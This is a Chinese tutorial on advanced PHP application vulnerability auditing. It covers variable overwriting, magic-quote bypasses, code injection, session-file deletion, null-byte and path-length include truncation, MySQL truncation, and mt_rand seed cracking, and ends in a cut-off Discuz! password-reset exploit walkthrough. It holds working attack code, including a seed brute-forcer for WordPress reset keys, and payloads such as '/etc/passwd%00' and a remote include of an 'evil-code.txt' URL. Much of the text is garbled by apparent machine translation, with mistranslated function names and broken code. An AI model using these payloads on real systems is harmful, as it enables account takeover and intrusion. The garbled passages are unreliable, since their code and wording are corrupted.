高级PHP应用程序漏洞审核技术
本文最后更新于1807天前,其中的信息可能已经有所发展或是发生改变。

前言

PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有PHP的应用,包括雅虎,新浪,163 ,搜狐等大型门户网站。而且很多具名的网络应用系统(包括BBS,博客,维基,CMS等等)都是使用PHP开发的,页1,phpwind的,PHPBB,VBB,WordPress的,boblog等等。随着网络安全的热点升级,PHP应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地了。我们面对很多 具以及大牛扫描过Ñ遍的代码,有很多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里需要感谢他们:)

传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过ň次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc [_GET,$ _POST,$ _COOKIE ],但是变量在传递。过程产生了ň多的变化导致很多过滤只是个“纸老虎”我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。

PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致安全漏洞的危险函数,常用的如grep的,FINDSTR等搜索工具,很多自动化工具也是使用正则来搜索这些函数下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。

其他的方法有:通过修改PHP源代码来分析变量流程,或者钩危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。

PHP版本与应用代码审计

到目前为止,PHP主要有3个版本:PHP4,PHP5,PHP6,使用比例大致如下:

| php4 | 68%| 2000-2007,2008 / 08之后没有安全修复,最终版本是php4.4.9 | | ----- |:---- |:----------------------------------- --------------------- | | php5 | 32%| 2004年至今,现在版本5.2.6(PHP 5.3 alpha1发布!)| | php6 | | 目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc(这个不是今天讨论的范围)|

由于PHP缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。

其他的因素与应用代码审计

很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营win / *nix),WEB服务端软件(主要是iis / apache两大类型)等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。

所以我们在做某个公司的WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。

扩展我们的字典

下面将详细介绍一些非传统的PHP应用代码审计一些漏洞类型和利用技巧。

变量本身的关键

说到变量的提交很多人只是看到了GET / POST / COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的按键也当变量提取给函数处理。

<?php //key.php?aaaa'aaa=1&bb'b=2 //print_R($_GET); foreach ($_GET AS $key => $value) { print $key."\n"; } ?>

上面的代码就提取了变量本身的按键显示出来,单纯对于上面的代码,如果我们提交网址:

key.php?<script>alert(1);</script>=1&bbb=2

那么就导致一个跨站脚本的漏洞,扩展一下如果这个键提交给包括()等函数或者SQL查询呢?:)

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:通读代码

变量覆盖

很多的漏洞查找者都知道提取物()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:遍历初始化变量

请看如下代码:

<?php //var.php?a=fuck $a='hi'; foreach($_GET as $key => $value) { $$key = $value; } print $a; ?>

很多的WEB应用都使用上面的方式(注意循环不一定是的foreach),如页1 4.1的WAP部分的代码!

$chs = ''; if($_POST && $charset != 'utf-8') { $chs = new Chinese('UTF-8', $charset); foreach($_POST as $key => $value) { $$key = $chs->Convert($value); } unset($chs);

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:通读代码parse_str()变量覆盖漏洞

//var.php?var=new $var = 'init'; 
parse_str($_SERVER['QUERY_STRING']); print $var;

该函数一样可以覆盖数组变量,上面的代码是通过$ _SERVER ['QUERY_STRING']来提取变量的,对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量:

//var.php?var=1&a[1]=var1%3d222 $var1 = 'init'; parse_str($a[$_GET['var']]); print $var1;

上面的代码通过提交$ VAR来实现对$ VAR1的覆盖。

漏洞审计策略(parse_str) | |:----------------------- | | PHP版本要求:无
系统-要求:无
审计策略:查找字符parse_str

漏洞审计策略(mb_parse_str) | |:--------------------------- | | PHP版本要求:php4 <4.4.7 php5 <5.2.2 
系统要求:无
审计策略:查找字符mb_parse_strimport_request_variables()变量覆盖漏洞

//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 echo 'GLOBALS '.(int)ini_get("register_globals")."n"; import_request_variables('GPC'); if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); echo 'Hello admin!';

漏洞审计策略(import_request_variables) | |:--------------------------------------- | | PHP版本要求:php4 <4.4.1 php5 <5.2.2 
系统要求:无
审计策略:查找字符import_request_variablesPHP5全球

从严格意义上来说这个不可以算是PHP的漏洞,只能算是一个特性,测试代码:

<? // register_globals =ON //foo.php?GLOBALS[foobar]=HELLO php echo $foobar; ?>

但是很多的程序没有考虑到这点,请看如下代码:

//为了安全取消全局变量 //var.php?GLOBALS[a]=aaaa&b=111 if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b];

如果熟悉WEB2.0的攻击的同学,很容易想到上面的代码我们可以利用这个特性进行CRSF攻击。

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:通读代码

magic_quotes_gpc的与代码安全

什么是magic_quotes_gpc的

当打开时,所有的'(单引号),“(双引号),\(反斜线)和NULL字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用如:和addslashes(),mysql_escape_string()和mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。:)哪些地方没有魔术引号的保护

1)$ _SERVER变量

PHP5的$ _SERVER变量缺少magic_quotes_gpc的保护,导致近年来X-Forwarded-For的漏洞猛暴,所以很多程序员考虑过滤X-Forwarded-For,但是其他的变量呢?

漏洞审计策略($ _SERVER变量) | |:------------------------- | | PHP版本要求:无
系统-要求:无
审计策略:查找字符_SERVER

2)getenv()得到的变量(使用类似$ _SERVER变量)

漏洞审计策略(getenv()) | |:--------------------- | | PHP版本要求:无
系统-要求:无
审计策略:查找字符的getenv

3)$ HTTP_RAW_POST_DATA与PHP输入,输出流

主要应用与SOAP / XML-RPC / webpublish功能里,请看如下代码:

if ( !isset( $HTTP_RAW_POST_DATA ) ) { $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } if ( isset($HTTP_RAW_POST_DATA) ) $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

漏洞审计策略(数据流) | |:---------------- | | PHP版本要求:无
系统-要求:无
审计策略:查找字符HTTP_RAW_POST_DATA或者PHP://输入

4)数据库操作容易忘记'的地方如:in()/ limit / order by / group by

!如页1 <5.0的pm.php:

if(is_array($msgtobuddys)) { $msgto = array_merge($msgtobuddys, array($msgtoid)); ...... foreach($msgto as $uid) { $uids .= $comma.$uid; $comma = ','; } ...... $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN ($uids)");

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:查找数据库操作字符(选择,更新,插入等等)变量的编码与解码

一个WEB程序很多功能的实现都需要变量的编码解码,而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。

这个类型的主要函数有:

1)stripslashes()这个其实就是一个decode-addslashes()

2)其他字符串转换函数:

| base64_decode | 对使用MIME base64编码的数据进行解码| |:--------------- |:-------------------------- | | base64_encode | 使用MIME base64对数据进行编码| | rawurldecode | 对已编码的URL字符串进行解码| | rawurlencode | 按照RFC 1738对URL进行编码| | urldecode | 解码已编码的URL字符串| | urlencode | 编码URL字符串| | ...... | ...... |

另外一个unserialize / serialize

3)字符集函数(GKB,UTF7 / 8 ...)如iconv()/ mb_convert_encoding()等

目前很多漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:

$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";

?当magic_quotes_gpc的=上时,我们提交的id =%2527,得到的SQL语句为:

SELECT * FROM article WHERE articleid='''

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:查找对应的编码函数二次攻击

详细见附录[1]

1)数据库出来的变量没有进行过滤

2)数据库的转义符号:

  • MySQL的/ oracle的转义符号同样是\(我们提交 '通过魔术引号变化为\',当我们更新进入数据库时​​,通过转义变为')
  • MSSQL的转义字符为 '(所以我们提交' 通过魔术引号变化为\',MSSQL会把它当为一个字符串直接处理,所以魔术引号对于MSSQL的注射没有任何意义)

从这里我们可以思考得到一个结论:一切进入函数的变量都是有害的,另外利用二次攻击我们可以实现一个webrootkit,把我们的恶意构造直接放到数据库里我们应当把这样的代码看成一个VUL?

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:通读代码魔术引号带来的新的安全问题

首先我们看下魔术引号的处理机制:

[\-->\\,'-->\',"-->\",null-->\0]

这给我们引进了一个非常有用的符号“\”,“\”符号不仅仅是转义符号,在WIN系统下也是目录转跳的符号这个特点可能导致PHP应用程序里产生非常有意思的漏洞:

1)得到原字符(” ,,“,空])

``$ order_sn = substr($ _ GET ['order_sn'],1);

//提交'//魔术引号处理\'// substr'

$ sql =“SELECT order_id,order_status,shipping_status,pay_status,”。“shipping_time,shipping_id,invoice_no,user_id”。“来自”。$ ecs->表( 'order_info')。“WHERE order_sn ='$ order_sn'LIMIT 1”; ```

2)得到“\”字符

``$ order_sn = substr($ _ GET ['order_sn'],0,1);

//提交'//魔术引号处理\'// substr \

$ sql =“SELECT order_id,order_status,shipping_status,pay_status,”。“shipping_time,shipping_id,invoice_no,user_id”。“来自”。$ ecs->表( 'order_info')。“WHERE order_sn ='$ order_sn'和order_tn ='”。$ _ GET ['order_tn']。“'';; ```

提交内容:

?order_sn='&order_tn=%20and%201=1/*

执行的SQL语句为:

SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and order_tn=' and 1=1/*'

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:查找字符串处理函数如SUBSTR或者通读代码变量键与魔术引号

我们最在这一节的开头就提到了变量键,PHP的魔术引号对它有什么影响呢?

<?php //key.php?aaaa'aaa=1&bb'b=2 //print_R($_GET); foreach ($_GET AS $key => $value) { print $key."\n"; } ?>

1)当magic_quotes_gpc = On时,在php5.24下测试显示:

aaaa\'aaa bb\'b

从上面结果可以看出来,在设置了magic_quotes_gpc = On下,变量键受魔术引号影响。但是在php4和php <5.2.1的版本中,不处理数组第一维变量的key,测试代码如下:

<?php //key.php?aaaa'aaa[bb']=1 print_R($_GET); ?>

结果显示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )

数组第一维变量的关键不受魔术引号的影响。

漏洞审计策略 | |:----------- | | PHP版本要求:PHP4和PHP <5.2.1 
系统要求:无
审计策略:通读代码

2)当magic_quotes_gpc =关时,在php5.24下测试显示:

aaaa'aaa bb'b

对于magic_quotes_gpc =关时所有的变量都是不安全的,考虑到这个,很多程序都通过addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:

```

function addslashes_array($ value){return is_array($ value)?array_map('addslashes_array',$ value):addslashes($ value); } print_R($ _ GET); foreach($ _GET AS $ key => $ value){print $ key; }`````

以上的代码看上去很完美,但是他这个代码里和addslashes($值)只处理了变量的具体的值,但是没有处理变量本身的钥匙,上面的代码显示结果如下:

Array ( [aaa'aa] => 1\' ) aaa'aa

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:通读代码

代码注射

PHP中可能导致代码注射的函数

很多人都知道的eval,preg_replace函数+ / E可以执行代码,但是不知道的PHP还有很多的函数可以执行代码如:

| assert()| |:--------- | | call_user_func()| | call_user_func_array()| | create_function()| | 变量函数| | ...... |

这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:

<?php //how to exp this code $sort_by=$_GET['sort_by']; $sorter='strnatcasecmp'; $databases=array('test','test'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); '; usort($databases, create_function('$a, $b', $sort_function));

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:查找对应函数(断言,call_user_func,call_user_func_array,create_function等)变量函数与双引号

对于单引号和双引号的区别,很多程序员深有体会,示例代码:

echo "$a\n"; echo '$a\n';

我们再看如下代码:

```//如何表达这段代码if($ globals ['bbc_email']){

$ text = preg_replace(array(“/ [email =(。?)](。?)[\ / email] / ies”,“ / [email ](。*? - [/ email] /”“, array('check_email(“$ 1”,“$ 2”)','check_email(“$ 1”,“$ 1”)'),$ text); ```

另外很多的应用程序都把变量用 “” 存放在缓存文件或者配置或者数据文件里,这样很容易被人注射变量函数。

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:通读代码

PHP自身函数漏洞及缺陷

PHP函数的溢出漏洞

大家还记得Stefan Esser大牛的PHP臭虫月(MOPB见附录2)项目么,其中比较有名的要算是unserialize(),代码如下:

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。

漏洞审计策略 | |:----------- | | PHP版本要求:对应修复版本的
系统-要求:
审计策略:查找对应函数名PHP函数的其他漏洞

Stefan Esser大牛发现的漏洞:unset() - Zend_Hash_Del_Key_Or_Index漏洞

比如phpwind的早期的serarch.php里的代码:

unset($uids); ...... $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); while($member=$db->fetch_array($query)){ $uids .= $member['uid'].','; } $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 '; ........ $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");

漏洞审计策略 | |:----------- | | PHP版本要求:php4 <4.3 php5 <5.14 
系统要求:无
审计策略:查找unsetsession_destroy()删除文件漏洞

测试PHP版本:5.1.2

这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除会话文件,很多网络应用程序的注销的功能都直接调用这个函数删除会话,但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件测试代码如下:

<?php //val.php 
session_save_path('./'); session_start(); if($_GET['del']) { session_unset(); session_destroy(); }else{ $_SESSION['hei']=1; echo(session_id()); print_r($_SESSION); } ?>

当我们提交构造cookie:PHPSESSID = / .. / 1.php,相当于unlink('sess _/../1.php')这样就通过注射../转跳目录删除任意文件了。很多着名的程序某些版本都受影响如phpMyAdmin的,sablog,phpwind3等等。

漏洞审计策略 | |:----------- | | PHP版本要求:不详具体
系统-要求:无
审计策略:查找session_destroy随机函数

1)rand()VS mt_rand()

<?php //on windows print mt_getrandmax(); //2147483647 print getrandmax();// 32767 ?>

可以看出兰特()最大的随机数是32767,这个很容易被我们暴力破解。

<?php $a= md5(rand()); for($i=0;$i<=32767;$i++){ if(md5($i) ==$a ) { print $i."-->ok!!<br>";exit; }else { print $i."<br>";} } ?>

当我们的程序使用兰特处理会话时,攻击者很容易暴力破解出你的会议,但是对于mt_rand是很难单纯的暴力的。

漏洞审计策略 | |:----------- | | PHP版本要求:无
系统-要求:无
审计策略:查找兰特

2)mt_srand()/ srand() - 弱播种(Stefan Esser)

看PHP手册里的描述:

```mt_srand(PHP 3> = 3.0.6,PHP 4,PHP 5)

mt_srand - 播下一个更好的随机数发生器种子说明void mt_srand(int seed)```

用种子来自随机数发生器播种。从PHP 4.2.0版开始,种子参数变为可选项,当该项为空时,会被设为随时数。

例子1. mt_srand()范例

<?php // seed with microseconds function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } mt_srand(make_seed()); $randval = mt_rand(); ?>

注:自PHP 4.2.0起,不再需要用srand()或mt_srand()函数给随机数发生器播种,现已自动完成。

PHP从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:

mt_srand ((double) microtime() * 1000000)

但是使用(double)microtime()*1000000类似的代码种子是比较脆弱的:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那么很容易暴力破解,测试代码如下:

```php rand.php // 828682 // 828682 //////////////// ini_set(“max_execution_time”,0); $ time =(double)microtime()* 1000000; 打印$ time。“\ n”; mt_srand($ time);

$ search_id = mt_rand(); $ seed = search_seed($ search_id); 打印$ seed; function search_seed($ rand_num){$ max = 1000000; for($ seed = 0; $ seed <= $ max; $ seed ++){mt_srand($ seed); $ key = mt_rand(); if($ key == $ rand_num)返回$ seed; } return false; }`````

从上面的代码实现了对种子的破解,另外根据Stefan Esser的分析种子还根据进程变化而变化,换句话来说同一个进程里的种子是相同的。然后同一个种子每次mt_rand的值都是特定的如下图:

种子A | |:----------- | | mt_rand-A-1 
mt_rand-A-2 
mt_rand-A-3

种子B | |:----------- | | mt_rand-B-1 
mt_rand-B-2 
mt_rand-B-3

对于种子-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当种子-A等于种子-B,那么mt_rand-A-1就等于mt_rand-B-1 ......,这样我们只要能够得到的种子就可以得到每次mt_rand的值了。

对于5.2.6> PHP> 4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:

第一种:'交叉应用攻击',这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand((double)microtime()*1000000)),phpbb + wordpree组合就存在这样的危险。

第二种:5.2.6> php> 4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

实现
当mt_rand()在内部播种或通过调用mt_srand()时,PHP 4和PHP 5 <= 5.2.0将最低位强制为1.因此,种子的强度仅为31而不是32位。在PHP 5.2.1及更高版本中,更改了Mersenne Twister的实现并删除了强制位。

在32位系统上默认的播种的种子为最大值是2^32,我们这样循环最多2^32次就可以破解种子而在PHP 4和PHP 5 <= 5.2.0的算法有个缺陷:奇数和偶数的播种是一样的(详见附录3),测试代码如下:

<?php
mt_srand(4); 
$a = mt_rand(); 
mt_srand(5); 
$b = mt_rand();
print $a."\n".$b;
?>

通过上面的代码发现$ a == $ b,所以我们循环的次数为2 32/2 = 2 31次。我们看如下代码:

<?php
//base on http://www.milw0rm.com/exploits/6421 
//test on php 5.2.0

define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1

$key = wp_generate_password(20, false);
echo $key."\n";
$seed = getseed($key);
print $seed."\n"; 

mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n";   
    
function wp_generate_password($length = 12, $special_chars = true) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    if ( $special_chars )
        $chars .= '!@#$%^&*()';

    $password = '';
    for ( $i = 0; $i < $length; $i++ )
        $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    return $password;
} 

function getseed($resetkey) {
    $max = pow(2,(32-BUGGY));
    for($x=0;$x<=$max;$x++) {
        $seed = BUGGY ? ($x << 1) + 1 : $x; 
        mt_srand($seed);
        $testkey = wp_generate_password(20,false);
        if($testkey==$resetkey) { echo "o\n"; return $seed; }

        if(!($x % 10000)) echo $x / 10000;
    }
    echo "\n";
    return false;
}
?>

运行结果如下:

php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样比如:

<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493        
?>

正是这个原因,也要求了我们的记录的运行环境:当目标> 5.20时候,我们EXP运行的环境也要是> 5.20的版本,也是反过来一样

从上面的测试及分析来看,PHP <5.26不管有没有定义播种,mt_rand处理的数据都是不安全的。在网络应用里很多都使用mt_rand来处理随机的会话,比如密码找回功能等等,这样的后果就是被攻击者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如WordPress的,PHPBB,PunBB的等等。(在后面我们将实际分析下国内著名的BBS程序页1!的mt_srand导致的漏洞)

漏洞审计策略 PHP版本要求:php4 php5系统要求:无
审计策略:查找mt_srand / mt_rand

特殊字符

其实“特殊字符”也没有特定的标准定义,主要是在一些代码hacking发挥着特殊重作用的一类字符。下面就举几个例子:

截断

其中最有名的数大家都熟悉的空字符截断。

包括截断

<?php 
include $_GET['action'].".php"; 
?>

提交“动作= / etc / passwd的%00”中的“%00”将截断后面的“.PHP”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action = http://www.hacksite.com/evil-code.txt?”这里“?”实现了“一截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:

<?php
////////////////////
////var5.php代码:
////include $_GET['action'].".php"; 
////print strlen(realpath("./"))+strlen($_GET['action']);  
///////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
    $str=$str."/";

    $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
    //1.txt里的代码为print 'hi';
    if (strpos($resp, 'hi') !== false){
        print $i;
        exit;
    }
}
?>

经过测试字符“。”,“/”或者2个字符的组合,在一定的长度时将被截断,win系统和nix的系统长度不一样,当win下strlen(realpath(“./"))++ strlen($ _GET ['action'])的长度大于256时被截断,对于 nix的长度是4 *1024 = 4096.对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie #ph4nt0m.org最先发现])

数据截断

对于很多网络应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的用户名和数据库里已有的用户名对比是不是已经有重复数据,然而我们可以通过“数据截断“等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据

.1)Mysql SQL列截断漏洞

这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql的sql_mode设置为默认的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示警告,而不是错误(如果是错误就插入不成功),这样可能会导致一些截断问题测试如下:

mysql> insert into truncated_test(`username`,`password`) values("admin","pass");

mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass     |
| 2 | admin      | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)

2)Mysql charset截断漏洞

。这个漏洞是80秒发现的,当MySQL的进行数据存储处理UTF8等数据时对某些字符导致数据截断测试如下:

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin      | pass      |
| 2 | admin      | new_pass  |
| 3 | admin      | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)

很多的网络应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:

$result = mysql_query("SELECT * from test_user where user='$user' ");
  ....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
    die("already exist");
}

漏洞审计策略 PHP版本要求:无
系统要求:无
审计策略:通读代码文件操作里的特殊字符

文件操作里有很多特殊的字符,发挥特别的作用,很多网络应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的窗口系统文件名对“空格”和“”等的忽视,这个主要体现在上传文件或者写文件上,导致直接写webshel​​l了另外对于窗口系统对“... \”进行系统转跳等等。

下面还给大家介绍一个非常有意思的问题:

//Is this code vul?
if( eregi(".php",$url) ){
    die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);

很多人看出来了上面的代码的问题,程序首先禁止使用“.PHP”后缀。但是下面居然接了个str_replace函数替换$ webdbwww_url为空,那么我们提交“.P $ webdbwww_urlhp”就可以饶过了。那么上面的代码杂修复呢有人给出了如下代码?

$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
    die("ERR");
}

str_replace函数提到前面了,很完美的解决了str_replace函数代码的安全问题,但是问题不是那么简单,上面的代码在某些系统上一样可以突破接下来我们先看看下面的代码:

<?php
for($i=0;$i<255;$i++) {
    $url = '1.ph'.chr($i);
    $tmp = @file_get_contents($url);
    if(!empty($tmp)) echo chr($i)."\r\n";
}  
?>

我们在windows系统运行上面的代码得到如下字符*<>?P p都可以打开目录下的1.php。

漏洞审计策略 PHP版本要求:无
系统-要求:无
审计策略:文读取件操作函数

怎么进一步寻找新的字典

上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一步找到新的字典或者利用方式呢?

  • 分析和学习别人发现的漏洞或者EXP,总结出漏洞类型及字典
  • 通过学习PHP手册或者官方文档,挖掘出新的有危害的函数或者利用方式
  • fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来
  • 分析PHP源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审计策略”里,都没有PHP源代码的分析,如果你要进一步找到新的字典,可以在PHP的源代码的基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会陆续公布一些我们对PHP源代码的分析)
  • 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
  • 你有什么要补充的吗?:)

DEMO

演示 - 讨论!重置用户密码0day漏洞分析
(Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)PHP版本要求:php4 php5系统要求:无
审计策略:查找mt_srand / mt_rand

第一步安装Discuz!6.1后利用grep的查找mt_srand得到:

heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
./include/global.func.php-700-  if($numeric) {
./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702-  } else {
./include/global.func.php-703-          $hash = '';
./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40-       if($attach['attachimg']) {

有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数的随机()里:

 PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

判断了版本,如果是PHP_VERSION>'4.2.0'使用php本身默认的播种。从上一章里的分析我们可以看得出来,使用php本身默认的播种的分程序两种情况:

1)'Cross应用攻击'这个思路是只要目标上有使用使用的程序里定义了类似mt_srand((double)microtime()*1000000)的播种的话,又很有可能被暴力。在dz这里不需要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:

